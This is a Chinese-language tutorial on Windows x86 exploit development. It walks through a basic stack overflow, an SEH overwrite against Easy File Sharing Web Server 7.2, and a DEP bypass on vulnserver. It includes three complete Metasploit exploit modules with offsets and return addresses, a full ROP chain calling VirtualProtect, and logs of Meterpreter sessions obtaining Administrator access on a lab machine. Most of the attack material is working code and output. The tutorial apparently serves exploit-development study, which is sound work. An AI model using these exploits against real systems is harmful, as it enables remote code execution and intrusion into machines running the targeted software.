x86-basic 漏洞利用

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这部分是对Window x86平台下的几个典型漏洞利用方式的介绍，从最基础的、没有开启任何保护的漏洞程序入手，然后开启GS，最后通过rop绕过DEP。

0x00 漏洞利用开发简介

（1）需要什么

  • 函数调用与栈：调用、返回
  • 寄存器与函数栈帧：ESP、EBP
  • 函数栈帧：局部变量、栈帧状态值、函数返回地址
  • 函数调用约定与相关指令：参数传递方式、参数入栈顺序、恢复堆栈平衡的操作

（2）函数调用的汇编过程

  1. 示例程序

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    charname[] = "1234567";
    voidfunc(int a, int b, int c)
    {
        charbuf[8];
        strcpy(buf, name);
    }

  2. 汇编过程

  • PUSH c, PUSH b, PUSH a
  • CALL address of func【保存返回地址；跳转】
  • MOV ebp, esp
  • PUSH ebp
  • SUB esp, 0x40
  • 创建局部变量，4个字节为一组
  • do something
  • add esp, 0x40
  • pop ebp
  • RETN【弹出返回地址，跳转】
  1. 栈帧结构

0x01 简单栈溢出

目标程序:
bof-server source code
bof-server binary for Windows
usage:
服务端
bof-server.exe 4242
客户端
telnet localhost 4242
version
bof-server v0.01
quit

漏洞点

产生崩溃
将输出的1024个A发送给靶机程序

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python -c "print('A' * 1024)"
telnet 192.168.64.138 4242

关闭防御措施

使用PESecurity检查可执行文件本身的防御措施开启情况
注意设置：Set-ExecutionPolicyUnrestricted

ASLR和DEP
ASLR在xp下不用考虑，DEP可通过修改boot.ini中的nonexecute来完成（AlwaysOff、OptOut）

整体的攻击流程

  1. 任意非00的指令覆盖buffer和EBP
  2. 从程序已经加载的dll中获取他们的jmp esp指令地址。
  3. 使用jmp esp的指令地址覆盖ReturnAddress
  4. 从下一行开始填充Shellcode

确定溢出点的位置

  1. 生成字符序列 pattern_create.rb

  2. 发送给目标程序

  3. 计算偏移量 pattern_offset.rb

  4. 确定payload结构

寻找jmp esp跳板

  1. OD附加进程看一下服务器加载了哪些模块
  2. 查找JMP ESP指令的地址
    在这里选择了ws2_32.dll作为对象，通过Metasploit的msfbinscan进行搜索

自动化攻击

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require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
  super(update_info(info,
    'Name' 		=> 'Stack Based Buffer Overflow Example',
    'Description' 	=> %q{
      			    Stack Based Overflow Example Application Exploitation Module
    			   },
    'Platform' 		=> 'Windows',
    'Author' 		=> 'yanhan',

    'Payload' 		=>
      			   {
        		   'space' => 400,
                           'BadChars' => "\x00\xff"
                      	   },
    'Targets'  		=>
      			   [
        		     [
			      'Windows XP SP3',
			      {'Ret' => 0x71a22b53, 'Offset' => 520}
			     ]
      			   ],
     'DisclosureDate' => '2019-05-25'
  ))
  end

  def exploit
    connect
    buf = make_nops(target['Offset'])
    buf = buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
    sock.put(buf)
    handler
    disconnect
   end
end
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msf5 > use exploit/windows/yanhan/bof_attack
msf5 exploit(windows/yanhan/bof_attack) > set rhosts 192.168.31.114
rhosts => 192.168.31.114
msf5 exploit(windows/yanhan/bof_attack) > set rport 1000
rport => 1000
msf5 exploit(windows/yanhan/bof_attack) > exploit

[*] Started reverse TCP handler on 192.168.31.84:4444
[*] Sending stage (179779 bytes) to 192.168.31.114
[*] Meterpreter session 1 opened (192.168.31.84:4444 -> 192.168.31.114:1062) at 2019-07-10 16:38:51 +0800

meterpreter > ls
Listing: C:\Documents and Settings\Administrator
================================================

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  Application Data
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  Cookies
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  Favorites
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  Local Settings
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  My Documents
100666/rw-rw-rw-  1048576  fil   2019-05-14 09:54:43 +0800  NTUSER.DAT
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  NetHood
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  PrintHood
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  Recent
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  SendTo
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  Templates
100777/rwxrwxrwx  26665    fil   2019-05-28 14:59:10 +0800  bof-server.exe
100666/rw-rw-rw-  1024     fil   2019-05-14 09:54:43 +0800  ntuser.dat.LOG
100666/rw-rw-rw-  178      fil   2019-05-14 09:54:43 +0800  ntuser.ini
40777/rwxrwxrwx   0        dir   2019-05-29 10:49:26 +0800  vulnserver
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  「开始」菜单
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  桌面

meterpreter >

0x02 基于SEH的栈溢出

目标程序 Easy File Sharing Web Server 7.2

漏洞点
在处理请求时存在漏洞——一个恶意的请求头部（HEAD或GET）就可以引起缓冲区溢出，从而改写SEH链的地址。

利用seh
填充物+nseh+ seh（pop popretn指令序列地址）+shellcode

确定溢出点的位置

  1. 生成字符序列
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    /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 10000 > a.txt
    python -c "print(' HTTP/1.0\r\n\r\n')" > b.txt
    cat a.txt b.txt > c.txt

删除cat造成的多余字符0x0a

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vim -bz.txt
# In Vim
:%!xxd
# After editing, use the instruction below to save
:%!xxd -r

  1. 构造SEH链
  • 将Easy File Sharing Web Server 7.2加载到ImmunityDebugger中，并处于运行状态。
  • 发送溢出字符序列
  • 查看Easy File Sharing Web Server 7.2溢出地址
  1. 计算偏移量
    计算catch块偏移量&计算下一条SEH记录偏移量

寻找PPR

  1. 使用mona寻找
    需要POP/POP/RET指令的地址来载入下一条SEH记录的地址，并跳转到攻击载荷
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    !mona modules
    !mona seh

自动化攻击

  1. 编写攻击脚本

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    require 'msf/core'
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
      include Msf::Exploit::Remote::Tcp
      include Msf::Exploit::Seh

      def initialize(info = {})
        super(update_info(info,
          'Name'            => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
          'Description'     => %q{
            This Module Demonstrate SEH based overflow example
          },
          'Author'          => 'yanhan',

          'Payload'         =>
            	{
              		'Space'       => 390,
              		'BadChars'    => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e"
            	},
          'Platform'      => 'Windows',
          'Targets'       =>
             		 [
                		   [
                  		   'Easy File Sharing 7.2 HTTP',
                  			{
                    		'Ret'       => 0x10022fd7,
                    		'Offset'    => 4061
                  			}
                		   ]
              		 ],
          'DisclosureDate'  => '2019-01-16',
      ))
      end

      def exploit
        connect
        weapon = "HEAD "
        weapon << make_nops(target['Offset'])
        weapon << generate_seh_record(target['Ret'])
        weapon << make_nops(20)
        weapon << payload.encoded
        weapon << " HTTP/1.0\r\n\r\n"
        sock.put(weapon)
        handler
        disconnect
       end
    end

  2. exploit

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    msf5 > use exploit/windows/yanhan/seh_attack
    msf5 exploit(windows/yanhan/seh_attack) > set rhosts 192.168.31.114
    rhosts => 192.168.31.114
    msf5 exploit(windows/yanhan/seh_attack) > set rport 80
    rport => 80
    msf5 exploit(windows/yanhan/seh_attack) > exploit

    [*] Started reverse TCP handler on 192.168.31.84:4444
    [*] Exploit completed, but no session was created.
    msf5 exploit(windows/yanhan/seh_attack) > set payload windows/meterpreter/bind_tcp
    payload => windows/meterpreter/bind_tcp
    msf5 exploit(windows/yanhan/seh_attack) > exploit

    [*] Started bind TCP handler against 192.168.31.114:4444
    [*] Sending stage (179779 bytes) to 192.168.31.114
    [*] Meterpreter session 1 opened (192.168.31.84:46601 -> 192.168.31.114:4444) at 2019-07-10 16:43:47 +0800

    meterpreter > getuid
    Server username: WHU-3E3EECEBFD1\Administrator

0x03 绕过DEP

目标程序 Introducing Vulnserver
使用 vulnserver.exe 6666
漏洞点

设置DEP保护


构建ROP链来调用VirtualProtect()关闭DEP并执行Shellcode

计算偏移量

'TRUN .'+make_nops(target['Offset'])
Immunity附加进程之后，在服务端发送3000个字符，计算偏移

创建ROP链

!mona rop -m *.dll -cp nonull

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################################################################################

Register setup for VirtualProtect() :
--------------------------------------------
 EAX = NOP (0x90909090)
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = ReturnTo (ptr to jmp esp)
 ESI = ptr to VirtualProtect()
 EDI = ROP NOP (RETN)
 --- alternative chain ---
 EAX = ptr to &VirtualProtect()
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = POP (skip 4 bytes)
 ESI = ptr to JMP [EAX]
 EDI = ROP NOP (RETN)
 + place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------


ROP Chain for VirtualProtect() [(XP/2003 Server and up)] :
----------------------------------------------------------

*** [ Ruby ] ***

  def create_rop_chain()

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets =
    [
      0x77dabf34,  # POP ECX # RETN [ADVAPI32.dll]
      0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
      0x77d1927f,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll]
      0x7c96d192,  # XCHG EAX,ESI # RETN [ntdll.dll]
      0x77bef671,  # POP EBP # RETN [msvcrt.dll]
      0x625011af,  # & jmp esp [essfunc.dll]
      0x77e9ad22,  # POP EAX # RETN [RPCRT4.dll]
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x77e6c784,  # NEG EAX # RETN [RPCRT4.dll]
      0x77dc560a,  # XCHG EAX,EBX # RETN [ADVAPI32.dll]
      0x7c87fbcb,  # POP EAX # RETN [kernel32.dll]
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x77d4493b,  # NEG EAX # RETN [USER32.dll]
      0x77c28fbc,  # XCHG EAX,EDX # RETN [msvcrt.dll]
      0x77bef7c9,  # POP ECX # RETN [msvcrt.dll]
      0x7c99bac1,  # &Writable location [ntdll.dll]
      0x719e4870,  # POP EDI # RETN [mswsock.dll]
      0x77e6d224,  # RETN (ROP NOP) [RPCRT4.dll]
      0x77e8c50c,  # POP EAX # RETN [RPCRT4.dll]
      0x90909090,  # nop
      0x77de60c7,  # PUSHAD # RETN [ADVAPI32.dll]
    ].flatten.pack("V*")

    return rop_gadgets

  end


  # Call the ROP chain generator inside the 'exploit' function :


  rop_chain = create_rop_chain()

自动化攻击

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require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DEP Bypass Exploit',
      'Description'    => %q{
        		  DEP Bypass Using ROP Chains Example Module
      			  },
      'Platform'       => 'Windows',
      'Author'         => 'yanhan',
      'Payload'        =>
        		  {
          		  'space'     => 312,
          		  'BadChars'  => "\x00"
        		  },
      'Targets'        =>
      		  	  [
          		    [
			    'Windows XP',
			    {'Offset'  => find it}
			    ]
        		  ],
      'DisclosureDate' => '2019-01-16'))
  end

  def create_rop_chain()

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets =
    [
      0x77dabf34,  # POP ECX # RETN [ADVAPI32.dll]
      0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
      0x77d1927f,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll]
      0x7c96d192,  # XCHG EAX,ESI # RETN [ntdll.dll]
      0x77bef671,  # POP EBP # RETN [msvcrt.dll]
      0x625011af,  # & jmp esp [essfunc.dll]
      0x77e9ad22,  # POP EAX # RETN [RPCRT4.dll]
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x77e6c784,  # NEG EAX # RETN [RPCRT4.dll]
      0x77dc560a,  # XCHG EAX,EBX # RETN [ADVAPI32.dll]
      0x7c87fbcb,  # POP EAX # RETN [kernel32.dll]
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x77d4493b,  # NEG EAX # RETN [USER32.dll]
      0x77c28fbc,  # XCHG EAX,EDX # RETN [msvcrt.dll]
      0x77bef7c9,  # POP ECX # RETN [msvcrt.dll]
      0x7c99bac1,  # &Writable location [ntdll.dll]
      0x719e4870,  # POP EDI # RETN [mswsock.dll]
      0x77e6d224,  # RETN (ROP NOP) [RPCRT4.dll]
      0x77e8c50c,  # POP EAX # RETN [RPCRT4.dll]
      0x90909090,  # nop
      0x77de60c7,  # PUSHAD # RETN [ADVAPI32.dll]
    ].flatten.pack("V*")

    return rop_gadgets
  end


  def exploit
    connect
    rop_chain = create_rop_chain()
    junk = make_nops(target['Offset'])
    buf = "TRUN ." + junk + rop_chain + make_nops(16) + payload.encoded + '\r\n'
    sock.put(buf)
    handler
    disconnect
  end
end
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msf5 > use exploit/windows/yanhan/rop_attack
msf5 exploit(windows/yanhan/rop_attack) > set rhosts 192.168.31.114
rhosts => 192.168.31.114
msf5 exploit(windows/yanhan/rop_attack) > set rport 1000
rport => 1000
msf5 exploit(windows/yanhan/rop_attack) > exploit

[*] Started reverse TCP handler on 192.168.31.84:4444
[*] Exploit completed, but no session was created.
msf5 exploit(windows/yanhan/rop_attack) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(windows/yanhan/rop_attack) > exploit

[*] Started bind TCP handler against 192.168.31.114:4444
[*] Exploit completed, but no session was created.
msf5 exploit(windows/yanhan/rop_attack) > exploit

[*] Started bind TCP handler against 192.168.31.114:4444
[*] Sending stage (179779 bytes) to 192.168.31.114
[*] Meterpreter session 1 opened (192.168.31.84:44537 -> 192.168.31.114:4444) at 2019-07-10 16:51:07 +0800

meterpreter > getuid
Server username: WHU-3E3EECEBFD1\Administrator
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